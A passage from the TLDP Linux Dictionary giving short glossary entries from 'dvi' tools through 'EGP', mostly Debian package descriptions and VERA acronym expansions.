DVI–to–PostScript translator with Japanese support This localized version of Tom Rokicki's dvips can handle Japanese DVI files. It can even output in Tate–Gaki(means "write vertically") style. This is part of the ASCII pTeX distribution. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvired

print dvi–files From whatis <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvisvga

A dvi viewer for SVGAlib dvisvga is a screen–previewer for .dvi–files compiled by TeX. It let's you see what your printed output will look like. You can choose between a black–and–white representation and greyscaling. You can choose an arbitrary zoom factor (at some cost of performance). You can set marks to measure distances. You can search for text strings. You may visit lots of DVI files, set bookmarks and get them saved to a startup–file. dvisvga does not support pXl–files. dvisvga ignores all 'special'–commands and has no font–replacing mechanism. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvitomp

convert a TeX DVI file to a MetaPost MPXFILE From whatis

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvitype

translate a dvi file for humans From whatis

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVL

Digital Video Link From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVMA

Direct Virtual Memory Access From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVMRP

Distance Vector Multicast Routing Protocol (IP, Multicast) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvorak7min

Typing tutor for dvorak keyboards dvorak7min is a typing tutor to help you learn dvorak. Also included are a pair of useful scripts to easily change between qwerty and dvorak layouts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVPT

Deutscher Verbandes fuer Post und Telekommunikation (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVR

??? (DTP, Truevision) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVS

Digital Video Systems (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVTC (Desktop Videoconferencing)

Videoconferencing on a personal computer. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVX

Digital Voice eXchange From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWANGO

Dialup Wide-Area Network Game Organization (IVS Corporation) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dwarfs-debian-guide

Dwarf's guide to installing and using Debian GNU/Linux This book by Debian Developer Dale Scheetz covers: – Package Management Tools – Installation – Basic System Administration This package contains the guide in PDF and HTML formats. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWDM

Dense Wavelength Division Multiplexing [protocol] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWF

Drawing Web Format (AutoCAD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWH

Data WareHouse (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWH

DISA Western Hemisphere (DISA, mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWIM

Do What I Mean (DFUe, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWM

Diskless Workstation Management (AIX, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWMT

Linux Dictionary

Discrete Wavelet MultiTone [modulation] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DWT

Discrete Wavelet Transformation From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dwww

Read all on-line documentation via WWW dwww lets you read all install on-line documentation via a local WWW server. When possible, it converts the documentation to HTML. You need both a WWW server and a WWW browser. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dx

OpenDX (IBM Visualization Data Explorer) – main package Data Explorer is a system of tools and user interfaces for visualizing data. In general terms the visualization of data can be considered a 3-stage process: 1. Describing and importing data 2. Processing the data through a visualization program 3. Presenting the resulting image. This is the main package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DXA

Directory eXchange Agent From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DXI

Data eXchange Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dxpc

An X protocol compressor designed to improve the speed of X11 applications run over low-bandwidth links (such as dialup PPP connections). From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DXS

Directory eXchange Server From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dynafont

Module for konwert package which loads UTF-8 fonts dynamically. This is a tool which allows displaying texts containing thousands of different characters. It switches console to UTF8 mode and loads required fonts dynamically. It is recommended to use this tool with filterm(1) tool, i.e. by executing 'filterm – dynafont' command or 'filterm – 512bold+dynafont' if you are not using framebuffer. The tool works with UTF8-compatible applications, i.e. lynx(1). There are problems with 8-bit only applications like mc(1). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dynamic

Create desktop entries for GNOME and KDE when a new peripheral is plugged in the system (mainly USB devices). From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dynamic

The state or quality of an object that is frequently changed or modified. In computing terminology, dynamic usually applies to files and values that change often, such as IP addresses. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DyneBolic

DyneBolic is a live bootable CDROM that will give you a Linux desktop on any machine with a CD drive. Comes with audio streaming, realtime video effects, and Mozilla web browser. Development version 1.0 alpha 5 was released May 11, 2003. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E

E-mail Address

The unique address within the Internet which allows people to send mail to you. Your e-mail address is made up of your name, the symbol and your domain name, so the address is tripathi@amadeus.statistik.uni-dortmund.de is the address for the user tripathi working at amadeus machine at the Statistics Faculty of University of Dortmund in Germany. To locate other netusers, please visit at <ftp://rtfm.mit.edu/pub/usenet/news.answers/finding-addresses> From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E1

European digital transmission format 1 [2.048 Mbps] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e16keyedit

a keybinding editor for the enlightenment window manager e16keyedit is a gtk+ based keybinding editor for the enlightenment window manager From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e16menuedit

enlightenment menu editor e16menuedit is an menu editor for the enlightenment window manager.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E2

European digital transmission format 2 [8.448 Mbps] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e2fsck

check a Linux second extended file system From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e2fsck-static

A statically-linked version of the ext2 filesystem checker. This may be of some help to you if your filesystem gets corrupted enough to break the shared libraries used by the dynamically linked checker. This binary takes much more space than its dynamic counterpart located in e2fsprogs, though. You may want to install a statically-linked shell as well, to be able to run this program if something like your C library gets corrupted. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e2fsprogs

The e2fsprogs package contains a number of utilities for creating, checking, modifying and correcting any inconsistencies in second extended (ext2) filesystems. E2fsprogs contains e2fsck (used to repair filesystem inconsistencies after an unclean shutdown), mke2fs (used to initialize a partition to contain an empty ext2 filesystem), debugfs (used to examine the internal structure of a filesystem, to manually repair a corrupted filesystem or to create test cases for e2fsck), tune2fs (used to modify filesystem parameters) and most of the other core ext2fs filesystem utilities. You should install the e2fsprogs package if you need to manage the performance of an ext2 filesystem. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e2fsprogs

The EXT2 file system utilities and libraries. EXT2 stands for "Extended Filesystem", version 2. It's the main filesystem type used for hard disks on Debian and other Linux systems. This package contains programs for creating, checking, and maintaining EXT2 filesystems, and the generic `fsck' wrapper. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e2image

Save critical ext2 filesystem data to a file From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e2label

Change the label on an ext2 filesystem From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e2pall

convert all EPS files in a LaTeX document to PDF From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e2ps

Convert plain text into PostScript Plain text into PostScript converter with automatically detection of EUC, JIS and SJIS but may be weak with SJIS. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

e3

A very small editor This package contains an editor you can call via the following links: – e3em: Emacs-like key bindings – e3vi: Vi-like key bindings – e3pi: Pico-like key bindings – e3ne: Nedit-like key bindings – e3ws: Wordstar-like key bindings e3 has the following advantages over other editors: – it has no library dependencies – one very small binary (only 10 kB) that gives you 5 editors From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E3

End-to-End Encryption (cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E3

European digital transmission format 3 [34.368 Mbps] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E4

European digital transmission format 4 [139.264 Mbps] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E5

European digital transmission format 5 [565.148 Mbps] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EA

Eingabe/Ausgabe, "E/A" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EA

Escrowed Authenticator (cryptography, EES) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EA

Extended Attribute (OS/2) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EAB

Enterprise Access Builder (IBM, Java) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EADAS

Engineering and Administrative Data Acquisition System (EADAS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EADASNM

EADAS/Network Management (EADAS), "EADAS/NM" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EADF

Elliptical Aperture with Dynamic Focus From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Eagle Linux

Eagle Linux is a Linux distribution that boots and runs from floppy or CD-ROM, saving you the trouble of having to install Linux on your system – and you build it yourself! There is no longer a need to repartition your hard drive or uninstall your current operating system. Eagle Linux is also a

great embedded systems learning tool, and since you build it yourself, it can easily be created to run on any processor family. Version 1.0 was announced November 2, 2002. Debian based Eagle Linux 2.0 was released January 12, 2003. Eagle Linux 2.2 was released May 9, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EAI

Enterprise Application Integration From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EAI

External Authoring Interface (VRML) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EAM

Evanescent Access Method (BS2000) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EAN

European Article Numbering [system] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ean13

Create an EAN-13 or UPC barcode in .xbm format The Universal Product Code (UPC) barcode has been used in the USA for many years, and EAN-13 is a similar barcode used on products both in and outside the USA. ean13 will create an EAN-13 or UPC barcode in .xbm format. The .xbm format is used by most browsers and many graphics programs such as bitmap. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EANTC

European Advanced Networking Test Center (org., Berlin, Germany, ANTC, FDDI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EAP

Extensible Authentication Protocol From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EARN

European Academic Research Network (network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EAROM

Electrically Alterable Read Only Memory (ROM, IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EAS

Enterprise Access System (Dynatech) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EASE

Easy Access System Europe (Novell, FTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EASI

Enhanced Asynchronous SCSI Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

easyfw

Graphical interface to ipchains/ipfwadm Easy firewall is graphical interface to ipchains or ipfwadm, allowing to generate a ipchains/ipfwadm command script. The script can be used to execute the firewall rules on startup, or can be applied instantly. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

easytag

viewing, editing and writing ID3 tags of MP3 files EasyTAG is an utility for viewing, editing and writing the ID3 tags of MP3 files, using a GTK+ interface. Currently EasyTAG supports the

following features: – Viewing, editing, writing ID3 TAGs of MP3 files, – Process all MP3 files of the selected directory, – Ability to browse subdirectories, – Recursion for tagging, removing, renaming, saving..., – Easy directory selection with a tree browser, – Supports ID3v1, ID3v1.1 tags, – Scan file for automatic tagging (using masks), – Scan tag for automatic renaming file (using masks), – Rename mp3 file, – Can apply a field (artist, title,...) to all other files, – Display MP3 header informations, – Can load a character translation file. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EATA

Enhanced AT Bus Attachment From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eb-utils

EB(Electric Book) access library – utilities libeb is a library accessing CD-ROM books. It supports to access EB, EBG, EBXA, and EPWING formats. CD-ROM books are popular in Japan. This package includes runtime support files. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EBAM

Electronic Beam-Addressable Memory (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EBAS

Elektronisches teile-BestellAbwicklungssystem (MBAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EBC

EISA Bus Controller (Wyse) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EBCDIC

/eb's*-dik/, /eb'see`dik/, or /eb'k*-dik/ n. [abbreviation, Extended Binary Coded Decimal Interchange Code] An alleged character set used on IBM dinosaurs. It exists in at least six mutually incompatible versions, all featuring such delights as non-contiguous letter sequences and the absence of several ASCII punctuation characters fairly important for modern computer languages (exactly which characters are absent varies according to which version of EBCDIC you're looking at). IBM adapted EBCDIC from punched card code in the early 1960s and promulgated it as a customer-control tactic (see connector conspiracy), spurning the already established ASCII standard. Today, IBM claims to be an open-systems company, but IBM's own description of the EBCDIC variants and how to convert between them is still internally classified top-secret, burn-before-reading. Hackers blanch at the very name of EBCDIC and consider it a manifestation of purest evil. See also fear and loathing. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EBCDIC

Extended Binary-Coded Decimal Interchange Code From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EBCDIC (Extended Binary Coded Decimal Interchange Code)

A character set coding scheme that represents 256 standard characters. IBM mainframes use EBCDIC coding, while personal computers use ASCII coding. Networks that link personal computers to IBM mainframes must include a translating device to mediate between the two systems. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EBCOT

Embedded Block Coding with Optimal Truncation (JPEG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EBCS

European Committee for Banking Standards (org., Europe, banking) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eblook

Electric–Dictionary search command using EB library. eblink is search command for CD–ROM (EPWING; a standard of CD–ROM book. This is very popular in Japan.) dictionaries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

EBNF

Extended Backus–Naur–Form From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

eboard

A graphical chessboard program (BETA VERSION) eboard is a graphical chess program which can function as an interface to Internet chess servers such as FICS and to chess engines such as Crafty. eboard has a themeable and freely resizable board, a tabbed or multi–window display, and supports multiple simultaneous boards. NOTE: eboard is currently beta software. Although it seems to work well for many people, bugs and misfeatures may remain. Use xboard if you want a perfectly stable program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

EBR

Enterprise Backup and Restore (ENS, Banyan, VINES) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

ECAI

European Conference on Artificial Intelligence (conference, AI, ECCAI, Europe) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

ecamegapedal

an audio effects pedal application Using ecasound libraries, this program provides a real–time effects pedal simulated in an X screen. It can read from the audio device, and output to an audio device in real time, or can process wave files. It can work very flexibly. For more complex interface, see ecawave, and qtecawave. For command–line addicts, this is not the way to go, go for ecasound. It can apply any ladspa plugin to the audio data. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

ecartis

Fast, Flexible Mailing List Manager Ecartis is a powerful mailing list manager in the tradition of listserv but with an open architecture and free source (GPL license). It has some features not found in Majordomo. One of the most interesting things in Ecartis is plugin module system; many functions are implemented as dynamically–loadable modules. You may also want to check out the ecartis–cgi

program, which provides a web-based front-end for your Ecartis mailing lists. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ecartis-cgi

CGI front-end for Ecartis This is the experimental web-based front-end for the Ecartis mailing list management program. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ecasound

Multitrack-capable audio recorder and effect processor Ecasound is a software package designed for multitrack audio processing. It can be used for simple tasks like audio playback, recording and format conversions, as well as for multitrack effect processing, mixing, recording and signal recycling.

Ecasound supports a wide range of audio inputs, outputs and effect algorithms. Effects and audio objects can be combined in various ways, and their parameters can be controlled by operator objects like oscillators and MIDI-CCs. As most functionality is located in shared libraries, creating alternative user-interfaces is easy. A versatile console mode interface is included in the package.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ecawave

graphical audio file editor Ecawave is a simple graphical audio file editor. The user-interface is based on Qt libraries, while almost all audio functionality is taken directly from ecasound libraries. As ecawave is designed for editing large audio files, all processing is done direct-to-disk. Simple waveform caching is used to speed-up file operations. Ecawave supports all audio file formats and effect algorithms provided by ecasound libraries. This includes ALSA and OSS soundcard support and common file formats like wav, cdr, raw, aiff, mp3, etc. From Debian 3.0r0 APT

ed

Ed is a line-oriented text editor, used to create, display, and modify text files (both interactively and via shell scripts). For most purposes, ed has been replaced in normal usage by full-screen editors (Emacs and vi, for example). Ed was the original UNIX editor and may be used by some programs. However, the more modern text editors are recommended for general use. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ED

End Delimiter (FDDI, Token Ring) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ED

Enhanced Density From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ed

n. "ed is the standard text editor." Line taken from original the Unix manual page on ed, an ancient line-oriented editor that is by now used only by a few Real Programmers, and even then only for batch operations. The original line is sometimes uttered near the beginning of an emacs vs. vi holy war on Usenet, with the (vain) hope to quench the discussion before it really takes off. Often followed by a standard text describing the many virtues of ed (such as the small memory footprint on a Timex Sinclair, and the consistent (because nearly non-existent) user interface). From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ed

The classic unix line editor ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files. red is a restricted ed: it can only edit files in the current directory and cannot execute shell commands. From Debian 3.0r0 APT

Electronic Delay Storage Automatic Calculator From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EDSRA

Earth Data System Reference Application (ISH, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EDT

Eastern Daylight Time [-0400] (TZ, EST, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

edusers

edit users list created by package From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EDV

Elektronische DatenVerarbeitung From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EDVAC

Electronic Discrete Variable Automatic Computer From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EDX

Event-Driven eXecutive (OS, IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ee

An "easy editor" for novices and compuphobics The editor 'ee' (easy editor) is intended to be a simple, easy to use terminal-based screen oriented editor that requires no instruction to use. Its primary use would be for people who are new to computers, or who use computers only for things like e-mail. ee's simplified interface is highlighted by the use of pop-up menus which make it possible for users to carry out tasks without the need to remember commands. An information window at the top of the screen shows the user the operations available with control-keys. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EE

Emotion Engine (Sony, Playstation) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEAG

Elektro- und ElektronikAltGeraete From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEE

[UDB] Enterprise Extended Edition (IBM, DB2, DB, UDB) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEl

Equipment to Equipment Interface From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEl

External Environment Interface (mil., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eel

Eazel Extensions Library From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eel2

Eazel Extensions Library is a collection of widgets and functions for use with GNOME. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EELS

Engineering Electronic Library, Sweden (org., WWW, Sweden) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEM

External Expansion Module (Sun) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEMS

Enhanced Expanded Memory Specification From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEP

Early Experience Program (Borland) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEP

Entry Exit Procedure (R:Base, DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EEPROM

Electrically Erasable Programmable Read Only Memory (ROM, IC, RL, EPROM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EES

Escrowed Encryption Standard (cryptography, NSA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EESC

European EDIF Steering Committee (org., EDIF, Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EET

Eastern European Time [+0200] (TZ) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EET

Edge Enhancement Technology (Seikosha, Itoh) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eyes

The Electric Eyes graphics viewer/editor Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. ElectricEyes allows you to view and do simple manipulate of several image formats and gives a nice thumbnail selection mechanism. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFAKS

Elektronisches FAKturierungs- und abrechnungsSystem (MBAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

efax

Efax is a small ANSI C/POSIX program that sends and receives faxes using any Class 1, 2 or 2.0 fax modem. You need to install efax if you want to send faxes and you have a Class 1, 2 or 2.0 fax modem. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

efax

Programs to send and receive fax messages. efax is a small ANSI C/POSIX program that provides the data transport function for fax applications using any Class 1 or Class 2 fax modem. Another program, efix, converts between fax, text, bit-map and gray-scale formats. fax, a shell script, provides a simple user interface to the efax and efix programs. It allows you to send text or Postscript files as faxes and receive, print or preview received faxes. The ghostscript package is needed to fax Postscript files, and a image viewing program as xloadimage is need to view incoming faxes. Note that you probably have to adapt /etc/efax.rc to your needs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFCI

Explicit Forward Congestion Indication (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFF

Electronic Frontier Foundation (Internet, org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

effectv

real-time video effect processor effectv is a real-time video effect processor. You can enjoy movies, TV programmes, and any other video stream through several amazing effects, including: - fire effects - afterimages - shagadelia - mosaics - ripples From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Effort Linux

Linux Dictionary

Effort Linux comes from Brazil. The website is in Portuguese. A 'secured' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFI

Electronics For Imaging (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFI

Extensible Firmware Interface (Intel, MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

efingerd

Another finger daemon for unix capable of fine-tuning your output. efingerd is a finger daemon, which executes programs and displays their output. This gives you complete control over what to display and to who, and an extreme configurability. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFL

Emitter Follower Logic (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFM

Eight-to-Fourteen-Modulation (CD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFS

Encrypting File System (cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFSM

Extended Finite State Machine (TTCN, ...) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFT

Electronic Funds Transfer From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFT

Euro-FileTransfer (ISDN, ETS 300 075) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFTPOS

Electronic Funds Transfer at the Point-Of-Sale (EFT, banking), "EFT-POS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EFTS

Electronic Funds Transfer System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EG

Evil Grin (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGA

Enhanced Graphics Adapter (predecessor, VGA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGB

Elektrostatisch gefaehrdete Bauelemente From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGD

Entropy Gathering Daemon (Unix, GNU, GnuPG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGG

Elektronischer Geschaeftsverkehr-Gesetz Germany From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

E

egg

Tamago V.4 — EGG Input Method Architecture for Emacs EGG Emacs Input Method Architecture. All is written only with Emacs Lisp. Egg can use FreeWnn (jserver, cserver, tserver) and Wnn6 as server doing character string conversion with the back end. And can convert mixed sentence of Japanese and Chinese into. There is the part which is not implemented yet. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eggdrop

Advanced IRC Robot Eggdrop is an IRC bot, written in C. Eggdrop, being a bot, sits on a channel and takes protective measures: to keep the channel from being taken over (in the few ways that anything can), to recognize banished users or sites and reject them, to recognize privileged users and let them gain ops, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGID

the effective Group User ID that owns this process. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eglade

Generates Eiffel code from XML produced by glade GUI builder Eglade takes the XML file that is produced by glade and generates Eiffel code, using the eGTK and egnome wrappers for GTK+ and Gnome. The code generated requires the SmallEiffel compiler to turn it into an executable program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

egnome

Eiffel wrapper for the Gnome library An Eiffel wrapper for the Gnome library. It supports the SmallEiffel and the ISE compilers. This package is only marginally useful. It provides Gnome initialisation and access to gnome-help; all the rest remains to be developed. However, it is needed by eglade, which generates code that expects to use egnome. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

egoboo

3D dungeon crawling adventure in the spirit of NetHack. Egoboo is an open source project, using OpenGL and SDL(Simple DirectMedia Layer) libraries. It is a 3d dungeon role playing game in the spirit of NetHack. Nice colorful graphics, and detailed models(using Quake2 modeling tools) make this game stand out int the gaming open-source community. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

egon

The animator program from Siag Office The animator part of the Siag Office suite, which also contains SIAG and PW. Siag Office uses the Offix DND Drag-and-Drop protocol. A WWW browser is needed to read online doc. A postscript viewer is used for document preview. Be warned that this probably is the least stable part of Siag Office. All suggestions are welcomed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGP

Exterior Gateway Protocol (RFC 904) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGP (Exterior Gateway Protocol)

